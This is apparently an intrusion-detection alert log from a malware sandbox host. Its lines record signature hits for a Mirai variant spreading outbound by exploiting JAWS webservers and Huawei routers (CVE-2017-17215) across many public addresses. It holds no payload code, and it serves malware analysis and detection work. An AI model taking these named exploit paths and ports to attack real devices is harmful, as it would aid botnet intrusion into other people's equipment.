2025-01-05T14:35:56.310919+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43518	80.50.4.147	80	TCP
2025-01-05T14:35:56.310919+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43518	80.50.4.147	80	TCP
2025-01-05T14:35:56.312042+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52734	129.74.236.141	80	TCP
2025-01-05T14:35:56.312042+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52734	129.74.236.141	80	TCP
2025-01-05T14:35:56.312789+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43530	159.173.13.136	80	TCP
2025-01-05T14:35:56.312789+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43530	159.173.13.136	80	TCP
2025-01-05T14:35:56.312900+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48874	113.132.44.233	80	TCP
2025-01-05T14:35:56.312900+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48874	113.132.44.233	80	TCP
2025-01-05T14:35:56.313860+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56994	133.12.185.19	80	TCP
2025-01-05T14:35:56.313860+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56994	133.12.185.19	80	TCP
2025-01-05T14:35:56.314564+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53868	69.171.204.160	80	TCP
2025-01-05T14:35:56.314564+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53868	69.171.204.160	80	TCP
2025-01-05T14:35:56.328414+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54544	106.132.35.216	80	TCP
2025-01-05T14:35:56.328414+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54544	106.132.35.216	80	TCP
2025-01-05T14:35:56.330085+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	58282	52.55.32.196	80	TCP
2025-01-05T14:35:56.330085+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	58282	52.55.32.196	80	TCP
2025-01-05T14:35:56.345935+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38540	23.90.35.124	80	TCP
2025-01-05T14:35:56.345935+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38540	23.90.35.124	80	TCP
2025-01-05T14:35:56.357545+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43792	191.248.99.145	80	TCP
2025-01-05T14:35:56.357545+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43792	191.248.99.145	80	TCP
2025-01-05T14:35:56.359777+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45078	217.125.133.181	80	TCP
2025-01-05T14:35:56.359777+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45078	217.125.133.181	80	TCP
2025-01-05T14:35:57.311211+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54482	14.194.140.247	80	TCP
2025-01-05T14:35:57.311211+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54482	14.194.140.247	80	TCP
2025-01-05T14:35:57.328441+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42330	76.122.103.243	80	TCP
2025-01-05T14:35:57.328441+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42330	76.122.103.243	80	TCP
2025-01-05T14:35:57.341942+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37502	14.57.113.146	80	TCP
2025-01-05T14:35:57.341942+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37502	14.57.113.146	80	TCP
2025-01-05T14:35:57.342006+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48330	116.169.77.248	80	TCP
2025-01-05T14:35:57.342006+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48330	116.169.77.248	80	TCP
2025-01-05T14:35:57.342068+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48976	62.55.40.5	80	TCP
2025-01-05T14:35:57.342068+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48976	62.55.40.5	80	TCP
2025-01-05T14:35:57.345066+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51590	174.17.36.83	80	TCP
2025-01-05T14:35:57.345066+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51590	174.17.36.83	80	TCP
2025-01-05T14:35:57.359699+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56674	128.216.185.75	80	TCP
2025-01-05T14:35:57.359699+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56674	128.216.185.75	80	TCP
2025-01-05T14:35:57.376315+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57376	197.255.186.143	80	TCP
2025-01-05T14:35:57.376315+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57376	197.255.186.143	80	TCP
2025-01-05T14:35:57.388950+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50456	200.199.70.134	80	TCP
2025-01-05T14:35:57.388950+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50456	200.199.70.134	80	TCP
2025-01-05T14:35:57.390963+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59986	155.30.238.213	80	TCP
2025-01-05T14:35:57.390963+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59986	155.30.238.213	80	TCP
2025-01-05T14:35:58.661914+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34194	23.200.252.97	80	TCP
2025-01-05T14:35:58.661914+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34194	23.200.252.97	80	TCP
2025-01-05T14:35:59.340306+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56094	197.250.82.139	37215	TCP
2025-01-05T14:35:59.712530+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34082	98.82.154.184	80	TCP
2025-01-05T14:35:59.712530+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34082	98.82.154.184	80	TCP
2025-01-05T14:36:01.359567+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36122	156.225.221.149	37215	TCP
2025-01-05T14:36:01.389091+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	34610	41.6.54.227	37215	TCP
2025-01-05T14:36:01.391071+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54290	41.151.124.241	37215	TCP
2025-01-05T14:36:01.392739+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43824	156.68.246.166	37215	TCP
2025-01-05T14:36:01.407657+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	48044	156.198.44.70	37215	TCP
2025-01-05T14:36:01.418490+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50982	41.211.129.160	37215	TCP
2025-01-05T14:36:01.435863+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59232	41.162.72.88	37215	TCP
2025-01-05T14:36:01.437870+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42618	156.69.129.78	37215	TCP
2025-01-05T14:36:02.387383+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50756	197.165.15.178	37215	TCP
2025-01-05T14:36:02.387568+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57024	41.172.122.97	37215	TCP
2025-01-05T14:36:02.387605+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49990	41.155.65.59	37215	TCP
2025-01-05T14:36:02.388009+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39522	156.126.88.70	37215	TCP
2025-01-05T14:36:02.389079+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33696	41.77.0.218	37215	TCP
2025-01-05T14:36:02.389247+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36790	156.57.24.237	37215	TCP
2025-01-05T14:36:02.390995+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51194	41.46.45.200	37215	TCP
2025-01-05T14:36:02.399216+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34594	61.50.174.153	80	TCP
2025-01-05T14:36:02.399216+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34594	61.50.174.153	80	TCP
2025-01-05T14:36:02.402866+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40258	41.223.59.135	37215	TCP
2025-01-05T14:36:02.404749+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52948	197.126.138.250	37215	TCP
2025-01-05T14:36:02.406587+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52238	41.225.143.123	37215	TCP
2025-01-05T14:36:02.406590+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42652	197.133.68.253	37215	TCP
2025-01-05T14:36:02.408428+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55746	197.1.5.91	37215	TCP
2025-01-05T14:36:02.408492+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59090	41.82.107.209	37215	TCP
2025-01-05T14:36:02.418554+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56912	197.21.90.235	37215	TCP
2025-01-05T14:36:02.418640+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	46224	156.18.17.73	37215	TCP
2025-01-05T14:36:02.420510+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43356	197.115.53.90	37215	TCP
2025-01-05T14:36:02.422331+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59324	156.218.50.195	37215	TCP
2025-01-05T14:36:02.422408+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	55626	156.135.157.212	37215	TCP
2025-01-05T14:36:02.422486+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58048	197.165.27.57	37215	TCP
2025-01-05T14:36:02.423215+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58752	41.210.57.29	37215	TCP
2025-01-05T14:36:04.460954+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	32876	168.176.45.40	80	TCP
2025-01-05T14:36:04.460954+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	32876	168.176.45.40	80	TCP
2025-01-05T14:36:04.460960+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56334	24.127.77.33	80	TCP
2025-01-05T14:36:04.460960+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56334	24.127.77.33	80	TCP
2025-01-05T14:36:04.460974+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43870	95.162.224.10	80	TCP
2025-01-05T14:36:04.460974+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43870	95.162.224.10	80	TCP
2025-01-05T14:36:04.460975+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59152	197.85.11.246	37215	TCP
2025-01-05T14:36:04.460993+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	51530	156.79.25.236	37215	TCP
2025-01-05T14:36:05.418622+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55368	181.151.176.24	80	TCP
2025-01-05T14:36:05.418622+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55368	181.151.176.24	80	TCP
2025-01-05T14:36:05.418675+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35760	183.20.125.180	80	TCP
2025-01-05T14:36:05.418675+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35760	183.20.125.180	80	TCP
2025-01-05T14:36:05.418742+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42738	129.33.240.133	80	TCP
2025-01-05T14:36:05.418742+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42738	129.33.240.133	80	TCP
2025-01-05T14:36:05.418819+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54906	170.253.255.46	80	TCP
2025-01-05T14:36:05.418819+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54906	170.253.255.46	80	TCP
2025-01-05T14:36:05.418930+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43824	134.200.140.118	80	TCP
2025-01-05T14:36:05.418930+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43824	134.200.140.118	80	TCP
2025-01-05T14:36:05.419285+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55822	142.21.112.212	80	TCP
2025-01-05T14:36:05.419285+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55822	142.21.112.212	80	TCP
2025-01-05T14:36:05.419470+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50598	177.176.193.203	80	TCP
2025-01-05T14:36:05.419470+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50598	177.176.193.203	80	TCP
2025-01-05T14:36:05.419543+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56564	52.242.215.29	80	TCP
2025-01-05T14:36:05.419543+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56564	52.242.215.29	80	TCP
2025-01-05T14:36:05.420585+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43168	84.164.44.30	80	TCP
2025-01-05T14:36:05.420585+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43168	84.164.44.30	80	TCP
2025-01-05T14:36:05.421589+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40354	39.26.19.73	80	TCP
2025-01-05T14:36:05.421589+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40354	39.26.19.73	80	TCP
2025-01-05T14:36:05.422282+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	42114	205.57.211.124	80	TCP
2025-01-05T14:36:05.422282+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	42114	205.57.211.124	80	TCP
2025-01-05T14:36:05.422378+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45242	150.195.116.7	80	TCP
2025-01-05T14:36:05.422378+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45242	150.195.116.7	80	TCP
2025-01-05T14:36:05.434020+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53178	182.137.133.161	80	TCP
2025-01-05T14:36:05.434020+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53178	182.137.133.161	80	TCP
2025-01-05T14:36:05.434111+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47512	152.81.152.107	80	TCP
2025-01-05T14:36:05.434111+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47512	152.81.152.107	80	TCP
2025-01-05T14:36:05.434193+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47966	40.7.115.247	80	TCP
2025-01-05T14:36:05.434193+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47966	40.7.115.247	80	TCP
2025-01-05T14:36:05.434298+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35636	17.107.151.80	80	TCP
2025-01-05T14:36:05.434298+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35636	17.107.151.80	80	TCP
2025-01-05T14:36:05.434352+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36426	114.96.2.1	80	TCP
2025-01-05T14:36:05.434352+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36426	114.96.2.1	80	TCP
2025-01-05T14:36:05.434468+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55282	185.118.15.54	80	TCP
2025-01-05T14:36:05.434468+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55282	185.118.15.54	80	TCP
2025-01-05T14:36:05.434845+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37952	173.25.167.237	80	TCP
2025-01-05T14:36:05.434845+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37952	173.25.167.237	80	TCP
2025-01-05T14:36:05.435895+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51998	74.67.247.149	80	TCP
2025-01-05T14:36:05.435895+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51998	74.67.247.149	80	TCP
2025-01-05T14:36:05.436104+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42522	197.1.99.23	37215	TCP
2025-01-05T14:36:05.436137+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47082	46.226.115.247	80	TCP
2025-01-05T14:36:05.436137+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47082	46.226.115.247	80	TCP
2025-01-05T14:36:05.437890+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56354	216.18.220.57	80	TCP
2025-01-05T14:36:05.437890+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56354	216.18.220.57	80	TCP
2025-01-05T14:36:05.437991+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33752	118.98.158.37	80	TCP
2025-01-05T14:36:05.437991+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33752	118.98.158.37	80	TCP
2025-01-05T14:36:05.438191+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57712	36.78.158.73	80	TCP
2025-01-05T14:36:05.438191+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57712	36.78.158.73	80	TCP
2025-01-05T14:36:05.438283+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57654	13.26.194.107	80	TCP
2025-01-05T14:36:05.438283+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57654	13.26.194.107	80	TCP
2025-01-05T14:36:05.439644+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45170	148.170.111.230	80	TCP
2025-01-05T14:36:05.439644+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45170	148.170.111.230	80	TCP
2025-01-05T14:36:05.439905+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34696	65.244.161.208	80	TCP
2025-01-05T14:36:05.439905+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34696	65.244.161.208	80	TCP
2025-01-05T14:36:05.480966+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40718	41.13.16.109	37215	TCP
2025-01-05T14:36:05.484868+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33876	197.8.102.6	37215	TCP
2025-01-05T14:36:05.496800+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	60682	41.166.167.177	37215	TCP
2025-01-05T14:36:05.513977+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41724	197.145.97.198	37215	TCP
2025-01-05T14:36:06.418663+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56360	82.5.45.203	80	TCP
2025-01-05T14:36:06.418663+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56360	82.5.45.203	80	TCP
2025-01-05T14:36:06.437979+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	46786	98.186.118.227	80	TCP
2025-01-05T14:36:06.437979+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	46786	98.186.118.227	80	TCP
2025-01-05T14:36:06.468470+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34314	104.167.193.84	80	TCP
2025-01-05T14:36:06.468470+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34314	104.167.193.84	80	TCP
2025-01-05T14:36:06.481076+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38376	156.210.106.58	37215	TCP
2025-01-05T14:36:06.481777+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36658	139.125.236.27	80	TCP
2025-01-05T14:36:06.481777+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36658	139.125.236.27	80	TCP
2025-01-05T14:36:06.484907+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45282	197.198.246.148	80	TCP
2025-01-05T14:36:06.484907+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45282	197.198.246.148	80	TCP
2025-01-05T14:36:06.486646+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55700	223.123.27.125	80	TCP
2025-01-05T14:36:06.486646+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55700	223.123.27.125	80	TCP
2025-01-05T14:36:06.514172+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57804	197.96.160.190	37215	TCP
2025-01-05T14:36:08.058607+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41858	97.119.59.56	80	TCP
2025-01-05T14:36:08.058607+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41858	97.119.59.56	80	TCP
2025-01-05T14:36:08.058628+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59996	199.72.216.99	80	TCP
2025-01-05T14:36:08.058628+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59996	199.72.216.99	80	TCP
2025-01-05T14:36:08.058628+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54614	147.111.190.115	80	TCP
2025-01-05T14:36:08.058628+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54614	147.111.190.115	80	TCP
2025-01-05T14:36:08.058632+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60170	79.191.90.55	80	TCP
2025-01-05T14:36:08.058632+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60170	79.191.90.55	80	TCP
2025-01-05T14:36:08.058635+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51178	48.246.175.236	80	TCP
2025-01-05T14:36:08.058635+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51178	48.246.175.236	80	TCP
2025-01-05T14:36:08.481884+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36028	98.40.140.90	80	TCP
2025-01-05T14:36:08.481884+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36028	98.40.140.90	80	TCP
2025-01-05T14:36:08.481888+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57690	111.90.68.45	80	TCP
2025-01-05T14:36:08.481888+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57690	111.90.68.45	80	TCP
2025-01-05T14:36:08.501508+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	32790	150.29.238.137	80	TCP
2025-01-05T14:36:08.501508+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	32790	150.29.238.137	80	TCP
2025-01-05T14:36:08.559330+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41506	156.168.225.178	37215	TCP
2025-01-05T14:36:08.559330+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	41598	156.10.145.90	37215	TCP
2025-01-05T14:36:08.562959+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	52012	197.184.72.248	37215	TCP
2025-01-05T14:36:08.574938+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40442	41.109.239.48	37215	TCP
2025-01-05T14:36:08.580500+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	37916	41.33.214.50	37215	TCP
2025-01-05T14:36:09.637431+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50142	41.48.139.76	37215	TCP
2025-01-05T14:36:09.637457+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55048	53.49.47.153	80	TCP
2025-01-05T14:36:09.637457+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55048	53.49.47.153	80	TCP
2025-01-05T14:36:09.637570+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38740	165.232.39.228	80	TCP
